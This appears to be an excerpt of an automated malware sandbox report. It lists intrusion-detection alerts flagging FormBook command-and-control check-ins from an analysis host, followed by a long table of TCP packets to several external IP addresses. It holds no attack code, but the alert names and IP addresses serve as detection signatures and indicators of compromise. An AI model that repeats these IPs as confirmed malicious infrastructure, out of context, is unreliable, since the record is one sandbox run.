2024-11-20T08:34:24.170562+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50032	13.248.169.48	80	TCP
2024-11-20T08:34:26.724768+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50033	13.248.169.48	80	TCP
2024-11-20T08:34:29.348125+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50034	13.248.169.48	80	TCP
2024-11-20T08:34:34.903506+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50035	13.248.169.48	80	TCP
2024-11-20T08:34:37.436227+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50036	13.248.169.48	80	TCP
2024-11-20T08:34:39.991492+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50037	13.248.169.48	80	TCP
2024-11-20T08:34:42.532171+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50038	13.248.169.48	80	TCP
2024-11-20T08:34:48.132791+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50039	172.67.162.39	80	TCP
2024-11-20T08:34:50.723072+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50040	172.67.162.39	80	TCP
2024-11-20T08:34:53.275913+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50041	172.67.162.39	80	TCP
2024-11-20T08:34:55.824858+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50043	172.67.162.39	80	TCP
2024-11-20T08:35:01.374225+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50044	13.248.169.48	80	TCP
2024-11-20T08:35:03.940299+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50045	13.248.169.48	80	TCP
2024-11-20T08:35:06.479706+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50046	13.248.169.48	80	TCP
2024-11-20T08:35:09.015592+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50047	13.248.169.48	80	TCP
2024-11-20T08:35:14.777692+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50048	104.21.4.93	80	TCP
2024-11-20T08:35:17.312999+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50049	104.21.4.93	80	TCP
2024-11-20T08:35:19.858913+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50050	104.21.4.93	80	TCP
2024-11-20T08:35:22.429916+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50051	104.21.4.93	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:31:49.069591045 CET	49872	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:31:49.075570107 CET	80	49872	188.114.96.3	192.168.2.6
Nov 20, 2024 08:31:49.075679064 CET	49872	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:31:49.084477901 CET	49872	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:31:49.090507030 CET	80	49872	188.114.96.3	192.168.2.6
Nov 20, 2024 08:31:49.721586943 CET	80	49872	188.114.96.3	192.168.2.6
Nov 20, 2024 08:31:49.721900940 CET	80	49872	188.114.96.3	192.168.2.6
Nov 20, 2024 08:31:49.721951008 CET	49872	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:31:49.726294994 CET	49872	80	192.168.2.6	188.114.96.3
Nov 20, 2024 08:31:49.731173038 CET	80	49872	188.114.96.3	192.168.2.6
Nov 20, 2024 08:32:04.888576031 CET	49966	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:04.893407106 CET	80	49966	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:04.893480062 CET	49966	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:04.926918983 CET	49966	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:04.931786060 CET	80	49966	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:05.409843922 CET	80	49966	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:05.409986973 CET	80	49966	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:05.410048962 CET	49966	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:06.436826944 CET	49966	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:07.455744982 CET	49986	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:07.460661888 CET	80	49986	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:07.460738897 CET	49986	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:07.473522902 CET	49986	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:07.478590012 CET	80	49986	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:07.970556974 CET	80	49986	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:07.970664978 CET	80	49986	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:07.970724106 CET	49986	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:08.983541965 CET	49986	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:10.002407074 CET	49987	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:10.007886887 CET	80	49987	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:10.007997036 CET	49987	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:10.020680904 CET	49987	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:10.025598049 CET	80	49987	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:10.025657892 CET	80	49987	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:10.547473907 CET	80	49987	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:10.547517061 CET	80	49987	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:10.547590017 CET	49987	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:11.530396938 CET	49987	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:12.553869963 CET	49989	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:12.558830023 CET	80	49989	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:12.558895111 CET	49989	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:12.567233086 CET	49989	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:12.572084904 CET	80	49989	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:13.073115110 CET	80	49989	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:13.073292017 CET	80	49989	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:13.073358059 CET	49989	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:13.075545073 CET	49989	80	192.168.2.6	76.223.74.74
Nov 20, 2024 08:32:13.080660105 CET	80	49989	76.223.74.74	192.168.2.6
Nov 20, 2024 08:32:18.551095963 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:18.555916071 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:18.556005955 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:18.568269968 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:18.573358059 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.343815088 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.343837976 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.343848944 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.343940973 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.343952894 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.344001055 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.344048023 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.344062090 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.344116926 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.344161987 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.344175100 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.344187021 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.344199896 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.344216108 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.344257116 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.348954916 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.349023104 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.349035025 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.349081993 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.389684916 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.515652895 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.515671968 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.515682936 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.515836000 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.515853882 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.515911102 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:19.515912056 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.516088009 CET	80	49990	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:19.516144991 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:20.077308893 CET	49990	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.095530033 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.100464106 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.100558043 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.122011900 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.127702951 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.919670105 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.919878006 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.919886112 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.919893026 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.919899940 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.919914961 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.919928074 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.920061111 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.920061111 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.920092106 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.920137882 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.921544075 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.921623945 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.921669006 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.924953938 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.925009012 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.925020933 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.925055981 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:21.925081968 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:21.925126076 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:22.089765072 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:22.089814901 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:22.089828014 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:22.089940071 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:22.090020895 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:22.090020895 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:22.090065002 CET	80	49991	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:22.090111971 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:22.624289989 CET	49991	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:23.642527103 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:23.647511959 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:23.647598028 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:23.665066004 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:23.669949055 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:23.670093060 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442312956 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442328930 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442339897 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442435026 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442446947 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442456961 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442467928 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442540884 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.442540884 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.442540884 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.442667961 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442677975 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442694902 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.442709923 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.442739964 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.447444916 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.447500944 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.447513103 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.447556973 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.612636089 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.612665892 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.612678051 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.612705946 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.612768888 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.612806082 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.612845898 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.612911940 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.612950087 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:24.613117933 CET	80	49992	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:24.613169909 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:25.172858000 CET	49992	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.190982103 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.196008921 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.196130037 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.207138062 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.211970091 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991022110 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991189003 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991261005 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991271019 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991332054 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991328955 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.991343021 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991425991 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991435051 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991446018 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991476059 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.991514921 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.991542101 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.991564035 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.996211052 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.996239901 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.996252060 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.996304989 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:26.996342897 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:26.996433020 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:27.078696012 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.078706026 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.078825951 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:27.168257952 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.168327093 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.168339014 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.168418884 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.168431044 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.168521881 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:27.168629885 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.168663025 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:27.168687105 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:27.169718027 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:27.171123028 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:27.174806118 CET	49994	80	192.168.2.6	163.44.185.183
Nov 20, 2024 08:32:27.179651022 CET	80	49994	163.44.185.183	192.168.2.6
Nov 20, 2024 08:32:32.206209898 CET	49995	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:32.211191893 CET	80	49995	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:32.211278915 CET	49995	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:32.227000952 CET	49995	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:32.231976986 CET	80	49995	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:32.755002022 CET	80	49995	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:32.755700111 CET	80	49995	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:32.755875111 CET	49995	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:33.733607054 CET	49995	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:34.753415108 CET	49996	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:34.758642912 CET	80	49996	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:34.758951902 CET	49996	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:34.779586077 CET	49996	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:34.784558058 CET	80	49996	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:35.293843031 CET	80	49996	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:35.294502020 CET	80	49996	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:35.294691086 CET	49996	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:36.296108007 CET	49996	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:37.314274073 CET	49997	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:37.319607973 CET	80	49997	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:37.319736004 CET	49997	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:37.335365057 CET	49997	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:37.340274096 CET	80	49997	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:37.340394020 CET	80	49997	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:37.887171984 CET	80	49997	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:37.887877941 CET	80	49997	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:37.887957096 CET	49997	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:38.843122005 CET	49997	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:39.861325026 CET	49998	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:39.869014025 CET	80	49998	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:39.869101048 CET	49998	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:39.880542994 CET	49998	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:39.885920048 CET	80	49998	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:40.445230007 CET	80	49998	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:40.445550919 CET	80	49998	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:40.445647001 CET	49998	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:40.447767973 CET	49998	80	192.168.2.6	172.67.162.12
Nov 20, 2024 08:32:40.452708006 CET	80	49998	172.67.162.12	192.168.2.6
Nov 20, 2024 08:32:45.567159891 CET	49999	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:45.572144032 CET	80	49999	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:45.572278976 CET	49999	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:45.587671041 CET	49999	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:45.592602968 CET	80	49999	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:47.094329119 CET	49999	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:47.099713087 CET	80	49999	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:47.099885941 CET	49999	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:48.114305973 CET	50000	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:48.119497061 CET	80	50000	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:48.119577885 CET	50000	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:48.138432026 CET	50000	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:48.143347979 CET	80	50000	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:49.639800072 CET	50000	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:49.645191908 CET	80	50000	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:49.645256996 CET	50000	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:50.659231901 CET	50002	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:50.664490938 CET	80	50002	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:50.671235085 CET	50002	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:50.683286905 CET	50002	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:50.688251019 CET	80	50002	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:50.688342094 CET	80	50002	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:52.186642885 CET	50002	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:52.191823959 CET	80	50002	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:52.191899061 CET	50002	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:53.206095934 CET	50003	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:53.211122990 CET	80	50003	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:53.211208105 CET	50003	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:53.221496105 CET	50003	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:53.230283976 CET	80	50003	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:53.922540903 CET	80	50003	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:53.922594070 CET	80	50003	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:53.922705889 CET	50003	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:53.972852945 CET	50003	80	192.168.2.6	85.159.66.93
Nov 20, 2024 08:32:53.978199005 CET	80	50003	85.159.66.93	192.168.2.6
Nov 20, 2024 08:32:59.026654959 CET	50004	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:32:59.031667948 CET	80	50004	103.21.221.4	192.168.2.6
Nov 20, 2024 08:32:59.031852007 CET	50004	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:32:59.045275927 CET	50004	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:32:59.050292969 CET	80	50004	103.21.221.4	192.168.2.6
Nov 20, 2024 08:32:59.965503931 CET	80	50004	103.21.221.4	192.168.2.6
Nov 20, 2024 08:32:59.965563059 CET	80	50004	103.21.221.4	192.168.2.6
Nov 20, 2024 08:32:59.965615988 CET	50004	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:00.546185970 CET	50004	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:01.567184925 CET	50005	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:01.572335958 CET	80	50005	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:01.575268030 CET	50005	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:01.591272116 CET	50005	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:01.596267939 CET	80	50005	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:02.486272097 CET	80	50005	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:02.486644983 CET	80	50005	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:02.486694098 CET	50005	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:03.095184088 CET	50005	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:04.112373114 CET	50006	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:04.117574930 CET	80	50006	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:04.117645979 CET	50006	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:04.136784077 CET	50006	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:04.141733885 CET	80	50006	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:04.141892910 CET	80	50006	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:05.035121918 CET	80	50006	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:05.035259962 CET	80	50006	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:05.036603928 CET	50006	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:05.640018940 CET	50006	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:06.659257889 CET	50007	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:06.665304899 CET	80	50007	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:06.671181917 CET	50007	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:06.679197073 CET	50007	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:06.684171915 CET	80	50007	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:07.596127033 CET	80	50007	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:07.596348047 CET	80	50007	103.21.221.4	192.168.2.6
Nov 20, 2024 08:33:07.603228092 CET	50007	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:07.603497982 CET	50007	80	192.168.2.6	103.21.221.4
Nov 20, 2024 08:33:07.608375072 CET	80	50007	103.21.221.4	192.168.2.6
